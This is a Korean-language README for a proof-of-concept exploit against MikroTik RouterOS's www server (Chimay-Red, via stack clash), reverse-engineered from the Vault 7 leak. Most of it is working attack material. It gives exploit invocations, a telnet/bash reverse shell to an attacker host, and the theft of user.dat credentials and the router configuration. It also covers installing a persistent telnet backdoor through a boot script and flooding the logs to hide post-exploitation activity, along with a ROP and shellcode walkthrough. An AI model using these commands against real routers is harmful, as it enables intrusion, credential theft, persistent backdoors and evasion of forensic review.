
Vault 7 CIA 유출에서 나온 Mikrotik 익스플로잇의 작동하는 POC
Vault 7 CIA 유출 자료에 포함된 Mikrotik 익스플로잇의 리버스 엔지니어링
더 많은 정보는 PDF를 참조하세요 (업데이트되지 않음)
RouterOS 6.38.4까지
6.38.5 (2017-Mar-09 11:32)의 새로운 점: !) www - http 서버 취약점 수정;
POST 헤더에 content-length를 -1로 보내는 간단한 크래시
두 개의 스레드를 사용하는 스택 클래시 익스플로잇, ROP 체인 누락
ROP가 동적으로 생성되므로 RouterOS 펌웨어에서 www 바이너리를 추출해야 합니다.
(/nova/bin/에 위치)
실행 중인 버전이 동일한지 확인하세요.
추출을 간소화하려면 다음을 사용할 수 있습니다:
$ ./tools/getROSbin.py 6.38.4 x86 /nova/bin/www www_binary
두 개의 스레드를 사용하는 스택 클래시 익스플로잇, bash 명령을 실행하기 위한 ROP 체인 포함
한 셸에서:
$ nc -l -p 1234
다른 셸에서:
$ ./StackClash_x86.py 192.168.8.1 80 www_binary "/bin/mknod /ram/f p; /bin/telnet 192.168.8.5 1234 < /ram/f | /bin/bash > /ram/f 2>&1"
여기서:
$ ./StackClash_x86.py 192.168.8.1 80 www_binary "cp /rw/store/user.dat /ram/winbox.idx"
$ sleep 3 # (www가 재시작될 때까지 몇 초 대기)
$ curl -s http://192.168.8.1/winbox/index | ./tools/extract_user.py -
/nova/bin/info를 사용하여 Mikrotik 콘솔에서 명령을 실행할 수 있습니다.
예: /nova/bin/info "/system reboot"는 시스템을 재부팅합니다.
$ ./StackClash_x86.py 192.168.8.1 80 www_binary "/nova/bin/info '/export' > /ram/winbox.idx"
$ sleep 20 # (/export 명령 실행이 조금 느림)
$ curl -s http://192.168.8.1/winbox/index
두 개의 스레드를 사용하는 스택 클래시 익스플로잇, ROP 체인 + 셸 코드로 bash 명령 실행 mips 버전의 www에서는 스택이 RWX이므로 스택으로 점프할 수 있습니다.
x86 버전과 동일한 bash 명령을 실행할 수 있습니다.
재미있는 명령
$ ./tools/getROSbin.py 6.38.4 mipsbe /nova/bin/www www_binary
$ ./StackClash_mips.py 192.168.8.1 80 www_binary "echo hello world > /dev/lcd"

하지 마세요! ;-P
$ ./StackClash_mips.py 192.168.8.1 80 www_binary "while [ true ]; do /nova/bin/info ':beep frequency=660 length=100ms;:delay 150ms;:beep frequency=660 length=100ms;:delay 300ms;:beep frequency=660 length=100ms;:delay 300ms;:beep frequency=510 length=100ms;:delay 100ms;:beep frequency=660 length=100ms;:delay 300ms;:beep frequency=770 length=100ms;:delay 550ms;:beep frequency=380 length=100ms;:delay 575ms;:beep frequency=510 length=100ms;:delay 450ms;:beep frequency=380 length=100ms;:delay 400ms;:beep frequency=320 length=100ms;:delay 500ms;:beep frequency=440 length=100ms;:delay 300ms;:beep frequency=480 length=80ms;:delay 330ms;:beep frequency=450 length=100ms;:delay 150ms;:beep frequency=430 length=100ms;:delay 300ms;:beep frequency=380 length=100ms;:delay 200ms;:beep frequency=660 length=80ms;:delay 200ms;:beep frequency=760 length=50ms;:delay 150ms;:beep frequency=860 length=100ms;:delay 300ms;:beep frequency=700 length=80ms;:delay 150ms;:beep frequency=760 length=50ms;:delay 350ms;:beep frequency=660 length=80ms;:delay 300ms;:beep frequency=520 length=80ms;:delay 150ms;:beep frequency=580 length=80ms;:delay 150ms;:beep frequency=480 length=80ms;:delay 500ms;'; done"
busybox-mips를 /ram/busybox에 업로드하려면
한 셸에서:
$ wget https://busybox.net/downloads/binaries/1.28.1-defconfig-multiarch/busybox-mips
$ { echo "echo Uploading..."; hexdump -v -e '"echo -e -n " 1024/1 "\\\\x%02X" " >> /ram/busybox\n"' busybox-mips | sed -e "s/\\\\\\\\x //g"; } | nc -l -q 0 -p 1234
다른 셸에서 (이것은 리버스 셸 명령입니다):
$ ./StackClash_mips.py 192.168.8.1 80 www_binary "/bin/mknod /ram/f p; /bin/telnet 192.168.8.5 1234 < /ram/f | /bin/bash > /ram/f"
그리고 연결이 자동으로 닫힐 때까지 기다립니다.
(파일이 업로드되면 리버스 셸을 다시 실행하고 (이번에는 nc -l -p 1234로만 수신) /ram/ 안에서 busybox를 찾을 수 있습니다)
/flash/etc/rc.d/run.d/에 bash 스크립트를 생성하여 부팅할 때마다 스크립트를 실행할 수 있습니다.
실행 권한을 설정하는 데 주의하세요. 그렇지 않으면 라우터가 부팅 중에 멈추고 펌웨어를 복원해야 합니다!
이 예제는 포트 23000에서 영구 텔넷 서버를 활성화합니다.
한 셸에서:
$ wget https://busybox.net/downloads/binaries/1.28.1-defconfig-multiarch/busybox-mips
$ { echo "echo Installing..."; hexdump -v -e '"echo -e -n " 1024/1 "\\\\x%02X" " >> /flash/bin/busybox\n"' busybox-mips | sed -e "s/\\\\\\\\x //g"; echo "chmod 777 /flash/bin/busybox"; echo "/flash/bin/busybox --install -s /flash/bin/"; echo "mkdir -p /flash/etc/rc.d/run.d"; echo 'echo -e "#!/flash/bin/sh\ntelnetd -p 23000 -l sh" > /flash/etc/rc.d/run.d/S89own'; echo "chmod 777 /flash/etc/rc.d/run.d/S89own"; echo "/nova/bin/info '/system reboot'"; echo "echo Done! Rebooting..."; } | nc -l -p 1234
다른 셸에서 (이것은 리버스 셸 명령입니다):
$ ./StackClash_mips.py 192.168.8.1 80 www_binary "/bin/mknod /ram/f p; /bin/telnet 192.168.8.5 1234 < /ram/f | /bin/bash > /ram/f"
그리고 Done! Rebooting...이 나타날 때까지 기다립니다.
라우터가 다시 시작되면:
$ telnet 192.168.8.1 23000
Trying 192.168.8.1...
Connected to 192.168.8.1.
Escape character is '^]'.
MikroTik v6.38.4 (stable)
/ #
http 소켓을 재사용하여 셸을 생성하므로 리버스 연결 없이 셸을 얻을 수 있습니다.
$ ./tools/getROSbin.py 6.38.4 mipsbe /nova/bin/www www_binary
$ ./StackClash_resock_mips.py 192.168.8.1 80 www_binary
[...]
sh: turning off NDELAY mode
Got root ;-)
busybox-mips를 /ram/busybox에 업로드하려면
$ wget https://busybox.net/downloads/binaries/1.28.1-defconfig-multiarch/busybox-mips
$ ./StackClash_resock_mips.py 192.168.8.1 80 www_binary busybox-mips /ram/busybox
[...]
Uploading busybox-mips in /ram/busybox...
Upload done!
sh: turning off NDELAY mode
Got root ;-)
chmod 777 /ram/busybox
/ram/busybox
BusyBox v1.28.1 (2018-02-15 14:34:02 CET) multi-call binary.
[...]
RGB 비트맵 24비트 (압축되지 않은) 파일만 지원됩니다. 최대 크기: 너비 160px, 높이 76px 샘플은 여기에서 찾을 수 있습니다
$ ./StackClash_resock_mips.py 192.168.8.1 80 www_binary docs/logo.bmp /flash/boot/logo.bmp
[...]
Uploading docs/logo.bmp in /flash/boot/logo.bmp...
Upload done!
sh: turning off NDELAY mode
Got root ;-)
reboot
*** Connection closed by remote host ***

포스트 익스플로잇 작업 후 로그를 제거하려면
/ # /nova/bin/info ":for i from=1 to=1000 do={ :log info message='Some dummy info' }"
이것은 유출된 CIA 문서의 리버스 엔지니어링입니다. 공개적으로 사용 가능한 chimay-red.py는 없습니다.
시간이 충분할 때 PDF를 업데이트하겠습니다. 어쨌든: 우리는 다음을 알고 있습니다:
Content-Length와 alloca 매크로 덕분에 스택 포인터와 POST 데이터가 기록될 위치를 제어할 수 있습니다. 스레드 A의 소켓에 128KB보다 큰 Content-Length를 보내면 스택 포인터가 다른 스레드 (B)의 스택 내부를 가리키게 되어 (스레드 A의) POST 데이터가 스레드 B의 스택 내부에 기록됩니다 (원하는 위치에, Content-Length 값만 조정하면 됩니다). 이제 반환 주소가 저장된 위치에서 시작하여 스레드 B의 스택에 ROP 체인을 작성할 수 있습니다. 스레드 B의 소켓을 닫으면 데이터를 기다리는 함수가 반환되면서 (하지만 우리가 수정한 주소로) ROP 체인이 시작됩니다.
ROP 체인은 바이너리 내부에서 문자열 청크를 찾아 사용되지 않는 메모리 영역에 연결하여 "system" 문자열과 "your_shell_cmd" 문자열을 구성합니다. 그런 다음 "system" 함수의 주소를 찾기 위해 방금 생성한 "system" 문자열의 주소를 인수로 전달하여 (PLT에 있는) "dlsym" 함수로 반환합니다. 이제 방금 생성한 "your_shell_cmd" 문자열의 주소를 인수로 전달하여 system의 주소로 반환할 수 있습니다.
이 버전의 www에서는 DEP가 비활성화되어 있으므로 스택을 실행할 수 있습니다. 하지만 파일 시스템에 "/bin/sh"가 없기 때문에 system 함수를 사용할 수 없으므로 execve를 직접 사용했습니다. 작은 ROP (3개의 가젯)가 스택에서 위치 (셸 코드를 넣은 곳)의 주소를 찾은 다음 해당 주소로 점프합니다.
셸 코드에서 fork (syscall 4002)를 수행한 다음, 유출된 스택 주소를 사용하여 "/bin/bash", "-c", "your_shell_cmd" 문자열의 주소로 4개의 포인터 배열을 채웁니다 (마지막 포인터는 NULL로 남겨둠). 그런 다음 a0, a1, a2를 각각 "/bin/bash"의 주소, 이전 단계에서 채운 배열의 주소, 배열의 NULL 항목 주소로 채웁니다. 이 시점에서 syscall 4011 (execve)을 실행하여 bash 명령을 실행할 수 있습니다.
모든 RouterOS 버전을 테스트할 시간이 없습니다. 테스트한 모든 안정 버전 (6.28, 6.27, 6.37.2, 6.37.3, 6.38.3, 6.38.4)에서 작동합니다 (x86 및 mipsbe 모두). 6.37.5에서는 작동하지 않지만 이것은 버그 수정 버전임을 알았습니다. 아마도 모든 버그 수정 버전에서 내 도구가 작동하지 않을 수 있습니다 (검증되지 않음).
ssl.wrap_socket을 사용하여 HTTPS 버전을 구현했으며 www가 방금 시작된 경우 작동합니다.
하지만 www가 얼마 동안 실행되었다면 익스플로잇을 실행하기 전에 충돌시켜야 합니다.
HTTPS가 활성화된 상태에서 www를 충돌시키면 www가 더 이상 HTTPS 소켓에 바인딩되지 않습니다...
따라서 현재로서는 대부분의 시나리오에서 전혀 작동하지 않고 충돌 후 웹 서버에 접근할 수 없게 되므로 공개 릴리스에 HTTPS 지원을 포함하지 않았습니다.